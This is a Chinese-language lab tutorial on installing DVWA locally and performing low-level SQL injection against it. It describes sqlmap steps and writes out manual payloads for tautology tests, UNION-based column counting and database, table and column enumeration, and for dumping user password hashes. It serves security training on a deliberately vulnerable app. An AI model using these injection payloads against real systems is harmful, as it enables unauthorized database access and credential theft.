一:简介
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
一共有十个模块:
暴力(破解)、命令行注入、跨站请求伪造、文件包含、文件上传、不安全的验证码、SQL注入、SQL盲注、弱会话ID、XSS漏洞(DOM型跨站脚本、反射型跨站脚本、 存储型跨站脚本)
二: 环境搭建
1、下载DVWA,下载地址:http://www.dvwa.co.uk/
2、安装PHP集成环境,我这里安装的是PhpStudy,下载地址:http://phpstudy.php.cn/
3、把下载好的DWVA解压,放在D:\PhpStudy\PHPTutorial\WWW中(因为我将phpStudy安装在D盘,所以是D:\PhpStudy)。
4、需要配置DVWA链接数据库,请打开config文件夹(在DVWA目录下),如果打开是config.inc.php.dist的话,复制它,重命名为config.inc.php,再打开config.inc.php,把密码设置为空。
5、打开浏览器访问:http://localhost/DVWA/,拉到下面,点击Setup/Reset DB,点击Create/Reset Database。
6、创建成功后,访问http://localhost/DVWA/login.php输入用户名,密码登陆,默认用户名 admin 默认密码 password。三:SQL注入模块(SQLMAP)
1、输入一个数字,然后submit
2、我们这里要查看Cookie,因为这有登陆页面,右键---检查,查看Cookie。
3、打开sqlmap,输入命令,查看数据库
4、查表
我们也可以在红线目录下查看
5、查表里数据
6、查看字段的数据
四:SQL手工注入(安全级别为LOW级)
上面用的是sqlmap获取数据库信息,现在使用手工注入来获取数据库的信息。
思路:1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
后端数据库语句:SELECT first_name, last_name FROM users WHERE user_id = '$id'
(1)输入1,查询成功。
输入1' or '1'='1,返回了多个结果,说明存在字符型注入。
传到后端语句变为:SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'
(2)输入1' or 1=1 order by 2 #,查询成功。输入1' or 1=1 order by 3 #,查询失败。说明字段为2
也可以通过输入1' union select 1,2 #来猜解字段数
(3)获取当前数据库,输入1' union select 1,database() #,查询成功。当前的数据库为dvwa。
(4)获取数据库中的表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功。数据库dvwa中一共有两个表,guestbook与users
(5)获取表中的字段名
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查询成功。users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
(7)下载数据
输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功。
SQL注入LOW级的这样就基本结束了!!!这只是最简单的SQL注入,没什么技术含量,难的在后面,加油,小伙伴们。